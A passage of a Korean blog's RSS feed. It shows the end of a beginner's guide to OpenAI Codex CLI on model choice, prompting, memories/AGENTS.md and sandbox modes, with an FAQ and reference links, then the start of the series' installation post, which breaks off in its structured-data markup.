&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;CI 자동화는 API key 비용과 로그 보관 정책을 따로 본다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Fast mode&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;지원 모델에서 더 높은 크레딧 비율을 쓴다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;속도 병목이 확인된 작업에만 제한적으로 켠다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 Pricing 문서가 제시하는 절약 기준도 실용적이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프롬프트 크기를 줄이고, AGENTS.md를 작게 유지하고, 필요 없는 MCP 서버를 끄고, 반복 작업에는 더 작은 모델을 쓰면 한도를 더 오래 쓸 수 있다. 그래서 초심자에게 가장 좋은 기본 습관은 &quot;강한 모델을 계속 켜두기&quot;가 아니라, 작업 난이도에 맞춰 모델&amp;middot;reasoning effort&amp;middot;Fast mode&amp;middot;MCP 수를 함께 줄이는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 정리: 4개 개념이 어떻게 연결되는가&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2086&quot; data-origin-height=&quot;1144&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bFRY5z/dJMcahqODZP/4KTAM3lKNW7b2K5DmoLE1K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bFRY5z/dJMcahqODZP/4KTAM3lKNW7b2K5DmoLE1K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bFRY5z/dJMcahqODZP/4KTAM3lKNW7b2K5DmoLE1K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbFRY5z%2FdJMcahqODZP%2F4KTAM3lKNW7b2K5DmoLE1K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2086&quot; height=&quot;1144&quot; data-origin-width=&quot;2086&quot; data-origin-height=&quot;1144&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;지금까지 살펴본 4가지 개념은 따로 노는 기능이 아니다. Codex에게 일을 맡길 때 역할을 나눠 갖는 장치들이다. 공식 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/customization&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Customization 문서&lt;/a&gt;는 이 관계를 명확하게 설명한다.&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;모델(Models)
  └─ 작업 특성에 따라 선택 &amp;rarr; 생각의 깊이와 속도 결정

프롬프트(Prompting)
  └─ 모델에 전달하는 지시 &amp;rarr; 결과 품질을 크게 좌우

메모리(Memories) + AGENTS.md
  └─ 매번 프롬프트에 쓰지 않아도 Codex가 참고하는 배경 정보
     - AGENTS.md: 팀 규칙, 버전 관리, 공유
     - 메모리: 개인 작업 패턴, 이전 대화에서 배운 내용

샌드박스(Sandboxing)
  └─ 모델이 실제로 실행할 수 있는 범위를 제한
     &amp;rarr; 반복 확인은 줄이고, 위험한 실행은 막음&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;gpt-5.5&lt;/code&gt;를 기본으로 쓰고, AGENTS.md에 린트&amp;middot;테스트 규칙을 박아두고, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;workspace-write&lt;/code&gt;로 실행한다. 그러면 매번 프롬프트에 &quot;PR 전에 린트 돌려라&quot;를 다시 쓸 필요가 없다. 메모리가 팀 코딩 습관을 기억해두면 다음번 프롬프트도 짧아진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4개가 제대로 맞으면 Codex에게 같은 말을 반복할 일이 줄어든다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제로는 아래처럼 연결해서 생각하면 된다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1562&quot; data-origin-height=&quot;844&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JJ2xt/dJMcaffukgN/KGqnBAK4WkjYp7q4WwRSRK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JJ2xt/dJMcaffukgN/KGqnBAK4WkjYp7q4WwRSRK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JJ2xt/dJMcaffukgN/KGqnBAK4WkjYp7q4WwRSRK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJJ2xt%2FdJMcaffukgN%2FKGqnBAK4WkjYp7q4WwRSRK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1562&quot; height=&quot;844&quot; data-origin-width=&quot;1562&quot; data-origin-height=&quot;844&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;프롬프트&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;메모리/AGENTS.md&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;샌드박스/모델&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;낯선 저장소 분석&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;구조 요약, 위험 파일, 수정 전 확인 요청&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;팀 규칙은 아직 신뢰하지 말고 먼저 읽기&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;read-only&lt;/code&gt; + 강한 모델&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;작은 버그 수정&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;재현 단계, 수정 금지 범위, 테스트 명령&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;AGENTS.md의 테스트 규칙을 따르게 함&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;workspace-write&lt;/code&gt; + &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;on-request&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;큰 리팩토링&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;먼저 계획 요청, 단계별 체크포인트, 회귀 테스트&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;반복 규칙은 AGENTS.md에, 임시 제약은 프롬프트에 둠&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;강한 모델 + 높은 reasoning effort&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국 좋은 프롬프트는 예쁜 문장이 아니라 작업 주문서다. 무엇을 고칠지, 어떤 규칙을 기억할지, 어떤 파일까지 건드려도 되는지, 어떤 모델로 처리할지를 함께 정해야 Codex가 덜 헤맨다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1532&quot; data-origin-height=&quot;846&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cq94Ws/dJMcaf0MXtC/PJGKK8kmmT6CZsAkQu8bS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cq94Ws/dJMcaf0MXtC/PJGKK8kmmT6CZsAkQu8bS1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cq94Ws/dJMcaf0MXtC/PJGKK8kmmT6CZsAkQu8bS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcq94Ws%2FdJMcaf0MXtC%2FPJGKK8kmmT6CZsAkQu8bS1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1532&quot; height=&quot;846&quot; data-origin-width=&quot;1532&quot; data-origin-height=&quot;846&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. Part 3 예고&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 편은 &lt;b&gt;Skills, MCP, Subagents&lt;/b&gt;다. Skills는 자주 쓰는 절차를 묶어두는 것이고, MCP는 Codex가 외부 도구로 나가는 통로다. Subagents는 큰 일을 역할별로 쪼개 돌리는 방식이다. 이 글이 &quot;Codex에게 어떤 규칙을 줄 것인가&quot;였다면, 다음 편은 &quot;Codex가 어떤 도구를 쓸 수 있는가&quot;에 가깝다.&lt;/p&gt;
&lt;!-- 시리즈 네비게이션 박스 (하단) --&gt;
&lt;div style=&quot;background-color: #e8f4f8; border: 2px solid #0066cc; border-radius: 8px; padding: 15px; margin: 20px 0;&quot;&gt;&lt;b&gt;OpenAI Codex 개발자 시리즈&lt;/b&gt;
&lt;div style=&quot;margin-top: 10px; display: flex; gap: 10px; flex-wrap: wrap; align-items: center;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/596&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 1: CLI 빠른 시작&lt;/a&gt; &lt;span style=&quot;background-color: #0066cc; color: white; padding: 5px 12px; border-radius: 15px; font-size: 14px; font-weight: bold;&quot;&gt;Part 2: 핵심 개념 4가지 (현재 글)&lt;/span&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/598&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 3: Subagents &amp;middot; Workflows (예정)&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/599&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 4: AGENTS.md &amp;middot; Rules (예정)&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/600&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 5: MCP &amp;middot; Plugins &amp;middot; Skills (예정)&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/601&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 6: 자동화 (예정)&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/602&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 7: 마이그레이션 (예정)&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/603&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 8: 병행 사용 패턴 (예정)&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;!-- SEO FAQ: visible questions matched to FAQPage JSON-LD --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;자주 묻는 질문&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 8px; padding: 18px 20px; margin: 20px 0;&quot;&gt;
&lt;h3 style=&quot;font-size: 18px; color: #1a3a52; margin: 18px 0 8px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Codex에서 좋은 프롬프트는 무엇이 다른가?&lt;/h3&gt;
&lt;p style=&quot;margin: 0 0 14px 0;&quot; data-ke-size=&quot;size16&quot;&gt;좋은 프롬프트는 목표, 맥락, 제약, 완료 기준을 함께 준다. 이렇게 쓰면 Codex가 추측으로 범위를 넓히기보다 검증 가능한 작업 단위로 움직이기 쉽다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 14px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 18px; color: #1a3a52; margin: 18px 0 8px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Memories와 AGENTS.md는 같은 기능인가?&lt;/h3&gt;
&lt;p style=&quot;margin: 0 0 14px 0;&quot; data-ke-size=&quot;size16&quot;&gt;역할이 다르다. Memories는 개인 작업 패턴이나 이전 대화에서 배운 내용을 돕고, AGENTS.md는 저장소 안에서 팀 규칙과 작업 기준을 공유하는 지침 파일에 가깝다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 14px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 18px; color: #1a3a52; margin: 18px 0 8px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;앞선 글에서 다룬 샌드박스를 왜 다시 다루는가?&lt;/h3&gt;
&lt;p style=&quot;margin: 0 0 14px 0;&quot; data-ke-size=&quot;size16&quot;&gt;앞선 글은 처음에 어떤 안전 설정으로 시작할지를 다뤘고, 이 글은 이번 작업을 Codex에게 어디까지 맡겨도 되는지 판단하는 법을 다룬다. 샌드박스는 외울 옵션 목록이 아니라, Codex가 읽기만 할지, 프로젝트 안에서 수정까지 할지, 더 넓은 권한이 필요한지를 정하는 안전 울타리다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 14px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 18px; color: #1a3a52; margin: 18px 0 8px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;프롬프트, AGENTS.md, 메모리에는 각각 무엇을 넣어야 하나?&lt;/h3&gt;
&lt;p style=&quot;margin: 0 0 14px 0;&quot; data-ke-size=&quot;size16&quot;&gt;이번 작업에만 적용되는 조건은 프롬프트에 둔다. 팀이 반복해서 지켜야 하는 빌드, 테스트, 리뷰 규칙은 AGENTS.md에 둔다. 개인 작업 습관이나 이전 대화에서 배운 패턴은 메모리가 보조하도록 두는 편이 좋다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 14px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 18px; color: #1a3a52; margin: 18px 0 8px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;처음에는 어떤 샌드박스와 승인 정책이 무난한가?&lt;/h3&gt;
&lt;p style=&quot;margin: 0 0 14px 0;&quot; data-ke-size=&quot;size16&quot;&gt;일반적인 로컬 개발 작업은 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;workspace-write&lt;/code&gt;와 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;on-request&lt;/code&gt; 조합이 무난하다. 낯선 저장소를 읽기만 할 때는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;read-only&lt;/code&gt;로 시작하고, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;danger-full-access&lt;/code&gt;는 격리된 환경에서 정말 필요한 경우에만 쓴다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 14px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 18px; color: #1a3a52; margin: 18px 0 8px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;모델은 항상 가장 강한 것을 고르면 되는가?&lt;/h3&gt;
&lt;p style=&quot;margin: 0 0 14px 0;&quot; data-ke-size=&quot;size16&quot;&gt;그렇지 않다. 큰 리팩토링, 복잡한 원인 분석, 넓은 코드 이해에는 강한 모델과 높은 reasoning effort가 유리하지만, 작은 반복 수정이나 단순 정리에는 더 가벼운 모델이 비용과 속도 면에서 낫다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 참고 자료 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;padding-left: 20px; margin: 10px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/prompting&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Prompting 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/memories&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Memories 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/sandboxing&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Sandboxing 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/models&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Models 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/customization&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Customization 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/guides/agents-md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex AGENTS.md 가이드&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/config-reference&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Configuration Reference&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/cli/slash-commands&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex CLI Slash commands&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/ide/features&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex IDE Features&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/workflows&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Workflows 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/pricing&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Pricing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/config-basic&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Config basics&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;!-- 푸터 --&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 15px 20px; border-radius: 8px; border: 1px solid #dee2e6; margin: 30px 0 10px 0; font-size: 14px; color: #6c757d;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작성일&lt;/b&gt;: 2026년 5월&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;분석 대상&lt;/b&gt;: OpenAI Codex CLI (2026년 5월 공식 문서 기준)&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;이 글은 2026년 5월 기준으로 작성되었다. 이후 변경될 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/Codex 기초 사용방법</category>
      <category>AGENTS.md</category>
      <category>codex cli</category>
      <category>Codex Memories</category>
      <category>codex 기촟</category>
      <category>codex 문법</category>
      <category>codex 사용 방법</category>
      <category>Codex 입문</category>
      <category>Codex 핵심 개념</category>
      <category>openai codex</category>
      <category>Prompting</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/597</guid>
      <comments>https://goddaehee.tistory.com/597#entry597comment</comments>
      <pubDate>Thu, 7 May 2026 10:42:45 +0900</pubDate>
    </item>
    <item>
      <title>Codex CLI 입문(1) : OpenAI Codex CLI 빠른 시작 - codex 설치, 인증 하기</title>
      <link>https://goddaehee.tistory.com/596</link>
      <description>&lt;!-- 래퍼 1: 인트로 (line-height: 1.7) --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&lt;!-- SEO structured data: BlogPosting + BreadcrumbList + FAQPage --&gt;
&lt;script type=&quot;application/ld+json&quot;&gt;
{
  &quot;@context&quot;: &quot;https://schema.org&quot;,
  &quot;@graph&quot;: [
    {
      &quot;@type&quot;: &quot;BlogPosting&quot;,
      &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-2-cli-quickstart.html#blogposting&quot;,
      &quot;headline&quot;: &quot;Codex CLI 빠른 시작: 설치, 로그인, 첫 명령, 승인 모드 이해하기&quot;,
      &quot;description&quot;: &quot;Codex CLI 설치 방법, ChatGPT 계정과 API 키 인증 차이, 첫 명령 예시, 샌드박스와 승인 정책, Git checkpoint 패턴을 초보자 기준으로 정리합니다.&quot;,
      &quot;inLanguage&quot;: &quot;ko-KR&quot;,
      &quot;url&quot;: &quot;https://goddaehee.tistory.com/codex-series-2-cli-quickstart.html&quot;,
      &quot;mainEntityOfPage&quot;: {
        &quot;@type&quot;: &quot;WebPage&quot;,
        &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-2-cli-quickstart.html&quot;
      },
      &quot;author&quot;: {
        &quot;@type&quot;: &quot;Person&quot;,
        &quot;name&quot;: &quot;갓대희&quot;,
        &quot;url&quot;: &quot;https://goddaehee.tistory.com&quot;
      },
      &quot;publisher&quot;: {
        &quot;@type&quot;: &quot;Organization&quot;,
        &quot;name&quot;: &quot;갓대희의 블로그&quot;,
        &quot;url&quot;: &quot;https://goddaehee.tistory.com&quot;
      },
      &quot;datePublished&quot;: &quot;2026-05-06&quot;,
      &quot;dateModified&quot;: &quot;2026-05-07&quot;,
      &quot;articleSection&quot;: &quot;OpenAI Codex 개발자 시리즈&quot;,
      &quot;keywords&quot;: [
        &quot;Codex CLI&quot;,
        &quot;Codex 설치&quot;,
        &quot;sandbox&quot;,
        &quot;approval policy&quot;,
        &quot;yolo mode&quot;
      ]
    },
    {
      &quot;@type&quot;: &quot;BreadcrumbList&quot;,
      &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-2-cli-quickstart.html#breadcrumb&quot;,
      &quot;itemListElement&quot;: [
        {
          &quot;@type&quot;: &quot;ListItem&quot;,
          &quot;position&quot;: 1,
          &quot;name&quot;: &quot;Home&quot;,
          &quot;item&quot;: &quot;https://goddaehee.tistory.com&quot;
        },
        {
          &quot;@type&quot;: &quot;ListItem&quot;,
          &quot;position&quot;: 2,
          &quot;name&quot;: &quot;OpenAI Codex 개발자 시리즈&quot;,
          &quot;item&quot;: &quot;https://goddaehee.tistory.com/category/AI%20Tools/Codex&quot;
        },
        {
          &quot;@type&quot;: &quot;ListItem&quot;,
          &quot;position&quot;: 3,
          &quot;name&quot;: &quot;Codex CLI 빠른 시작&quot;,
          &quot;item&quot;: &quot;https://goddaehee.tistory.com/codex-series-2-cli-quickstart.html&quot;
        }
      ]
    },
    {
      &quot;@type&quot;: &quot;FAQPage&quot;,
      &quot;@id&quot;: &quot;https://goddaehee.tistory.com/codex-series-2-cli-quickstart.html#faq&quot;,
      &quot;mainEntity&quot;: [
        {
          &quot;@type&quot;: &quot;Question&quot;,
